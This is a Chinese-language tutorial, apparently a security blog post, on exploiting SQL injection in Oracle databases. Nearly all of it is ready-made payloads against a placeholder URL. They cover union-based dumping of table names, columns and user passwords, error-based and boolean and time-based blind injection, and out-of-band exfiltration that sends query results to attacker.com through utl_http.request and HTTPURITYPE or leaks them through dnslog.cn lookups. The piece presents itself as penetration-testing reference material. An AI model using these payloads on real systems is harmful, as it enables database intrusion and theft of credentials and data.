Oracle数据库注入全方位利用指南

0x01 前言

本文针对Oracle数据库注入进行全面讲解，适用于已掌握MySQL注入基础的安全研究人员。重点介绍Oracle注入的特殊性和多种注入技术。

0x02 注入点确认

基础检测方法

• 使用and 1=1和and 1=2进行布尔判断
• 也可使用延时函数辅助判断

示例：

http://example.com/new_list.php?id=1 and 1=1
http://example.com/new_list.php?id=1 and 1=2

0x03 显错注入

1. 判断字段数

使用order by确定字段数：

http://example.com/new_list.php?id=1 order by 2
http://example.com/new_list.php?id=1 order by 3

2. 获取显错点

Oracle对数据类型敏感，需匹配字段类型：

http://example.com/new_list.php?id=-1 union select null,null from dual
http://example.com/new_list.php?id=-1 union select 'null','null' from dual

3. 信息收集

• 数据库版本：

http://example.com/new_list.php?id=-1 union select 'null',(select banner from sys.v_$version where rownum=1) from dual

• 当前用户：

http://example.com/new_list.php?id=-1 union select 'null',(select sys_context('userenv','current_user') from dual) from dual
http://example.com/new_list.php?id=-1 union select '1',user from dual

• 数据库名：

http://example.com/new_list.php?id=-1 union select 'null',(select instance_name from V$INSTANCE) from dual

4. 表名查询

• 直接查询：

http://example.com/new_list.php?id=-1 union select 'null',(select table_name from user_tables where rownum=1) from dual
http://example.com/new_list.php?id=-1 union select 'null',(select table_name from user_tables where rownum=1 and table_name not in 'LOGMNR_SESSION_EVOLVE$') from dual

• 模糊查询：

http://example.com/new_list.php?id=-1 union select 'null',(select table_name from user_tables where table_name like '%user%' and rownum=1) from dual

5. 列名查询

• 直接查询：

http://example.com/new_list.php?id=-1 union select 'null',(select column_name from user_tab_columns where table_name='sns_users' and rownum=1) from dual

• 模糊查询：

http://example.com/new_list.php?id=-1 union select 'null',(select column_name from user_tab_columns where table_name='sns_users' and rownum=1 and column_name like '%USER%') from dual

6. 数据查询

http://example.com/new_list.php?id=-1 union select USER_NAME,USER_PWD from "sns_users" where rownum=1

7. 美化输出

使用||连接符：

http://example.com/new_list.php?id=-1 union select '用户名：'||USER_NAME,'密码：'||USER_PWD from "sns_users" where rownum=1

0x04 报错注入

1. ctxsys.drithsx.sn()

?id=1 and 1=ctxsys.drithsx.sn(1,(select user from dual)) --
?id=1 and 1=ctxsys.drithsx.sn(1,(select banner from sys.v_$version where rownum=1)) --

2. XMLType()

?id=1 and (select upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual) is not null --

3. dbms_xdb_version系列

?id=1 and (select dbms_xdb_version.checkin((select banner from sys.v_$version where rownum=1)) from dual) is not null --
?id=1 and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not null --
?id=1 and (select dbms_xdb_version.uncheckout((select banner from sys.v_$version where rownum=1)) from dual) is not null --

4. dbms_utility.sqlid_to_sqlhash()

?id=1 and (SELECT dbms_utility.sqlid_to_sqlhash((select banner from sys.v_$version where rownum=1)) from dual) is not null --

5. ordsys.ord_dicom.getmappingxpath()

?id=1 and 1=ordsys.ord_dicom.getmappingxpath((select banner from sys.v_$version where rownum=1),user,user)--

6. utl_inaddr函数

?id=1 and 1=utl_inaddr.get_host_name((select user from dual)) --
?id=1 and 1=utl_inaddr.get_host_address((select user from dual)) --

0x05 布尔型盲注

1. decode函数

• 长度判断：

http://example.com/new_list.php?id=1 and 6=(select length(user) from dual) --

• 字符判断：

http://example.com/new_list.php?id=1 and 1=(select decode(substr(user,1,1),'S',1,0) from dual) --
http://example.com/new_list.php?id=1 and 1=(select decode(ascii(substr(user,1,1)),'83',1,0) from dual) --

2. instr函数

http://example.com/new_list.php?id=1 and 1=(instr((select user from dual),'SYS')) --
http://example.com/new_list.php?id=1 and 4=(instr((select user from dual),'T')) --

0x06 延时盲注

1. 漏洞检测

http://example.com/new_list.php?id=1 and 1=dbms_pipe.receive_message('o', 10)--

2. 配合decode函数

http://example.com/new_list.php?id=1 and 1=(select decode(substr(user,1,1),'S',dbms_pipe.receive_message('o',5),0) from dual) --
http://example.com/new_list.php?id=1 and 1=(select decode(ascii(substr(user,1,1)),'83',dbms_pipe.receive_message('o',5),0) from dual) --

3. 替代延时方法

http://example.com/new_list.php?id=1 and 1=(select decode(substr(user,1,1),'S',(select count(*) from all_objects),0) from dual) --

0x07 外带数据注入

1. utl_http.request()

• 检测支持：

?id=1 and exists (select count(*) from all_objects where object_name='UTL_HTTP') --

• 外带数据：

?id=1 and utl_http.request('http://attacker.com/'||(select banner from sys.v_$version where rownum=1))=1--

2. utl_inaddr.get_host_address()

?id=1 and (select utl_inaddr.get_host_address((select user from dual)||'.dnslog.cn') from dual)is not null --

3. HTTPURITYPE()

?id=1 and (select HTTPURITYPE('http://attacker.com/'||(select user from dual)).GETCLOB() FROM DUAL)is not null --

0x08 总结

Oracle注入与MySQL注入原理相同，但需注意：

1. 数据类型敏感性
2. 特殊系统表和函数
3. 权限要求更高
4. 语法差异

掌握这些技术可有效应对Oracle数据库环境下的SQL注入测试。